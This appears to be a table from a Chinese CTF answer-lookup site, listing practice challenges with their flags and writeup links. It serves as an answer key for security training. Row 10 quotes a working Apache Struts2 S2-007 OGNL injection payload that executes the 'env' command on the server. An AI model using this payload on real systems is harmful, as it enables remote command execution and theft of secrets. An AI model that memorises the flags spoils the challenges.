[标题搜索]只能搜索题目标题,[综合搜索]支持多关键词多项目搜索(以空格分隔)。
| 序号 | Website | Type | Title | Value | Writeup | Competition | Id |
|---|---|---|---|---|---|---|---|
| 1 | NSSCTF | 逆向技术 | [Reisen]NSSCTF2025入门题目-pyc | LitCTF{python_snake_is_so_easy!} | https://blog.csdn.net/2401_86886131/a... | - | 12680 |
| 2 | bugku | MISC | 答案 | flag{d316759c281bf925d600be698a4973d5} | https://blog.csdn.net/qpeity/article/... | bugku | 2831 |
| 3 | bugku | Crypto | [+-<>] | flag{0d86208ac54fbf12} | https://blog.csdn.net/qq_43503979/art... | bugku | 70 |
| 4 | NSSCTF | WEB | [Ogeek 2019]Enjoy Yourself | 无 | https://blog.csdn.net/zzq487782568/ar... | Ogeek | 13737 |
| 5 | NSSCTF | 电子取证 | [蓝帽杯 2022 初赛]网站取证_1 | lanmaobei666 | https://hzy2003628.top/2022/07/09/蓝帽杯初赛wp/ | 蓝帽杯 | 10520 |
| 6 | BUUCTF | Misc | [GXYCTF2019]SXMgdGhpcyBiYXNlPw== | flag{fazhazhenhaoting} | https://blog.csdn.net/YueXuan_521/art... | GXYCTF2019 | 6802 |
| 7 | CTFHUB | Web | Upload Labs 2 | 无 | https://blog.q1ngchuan.top/2024/08/03... | SUCTF | 10057 |
| 8 | ctfshow | _DSBCTF_单身杯.CRYPTO | 古典古典古典 | CTFSHOW{CTFER_TH1S_1S_REA11Y_FLAG} | https://blog.csdn.net/ShaoYuuuu/artic... | CRYPTO | 5296 |
| 9 | NSSCTF | Base64 | [羊城杯 2021]BabySmc | SangFor{XSAYT0u5DQhaxveIR50X1U13M-pZK5A0} | https://blog.csdn.net/weixin_61154173... | 羊城杯 | 11096 |
| 10 | ctfshow | WEB入门.java | web294 | web294的答案在CTFshow题目中通常是指一个Struts2漏洞利用的payload,用于执行系统命令并获取环境变量中的flag 2 3。网页上提供的直接解题链接为 https://blog.csdn.net/qq_52579508/article/details/142067192(即 2),其中详细记录了S2-007漏洞的利用过程和具体payload 2。另一个可验证的解题过程网页是 https://blog.csdn.net/uuzeray/article/details/136126951(即 3),它列出了从web279到web300的系列题目答案,包括web284的S2-012漏洞利用payload 3。经复核,这两个网页都真实记录了CTFshow Java题目的完整解题过程和最终答案 2 3。请注意,题目具体的flag值是动态的,但解题方法一致。因此,综合确认后的答案为: 使用S2-007漏洞payload(如:' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream())) + ')执行命令获取flag | https://blog.csdn.net/qq_52579508/art... | java | 3585 |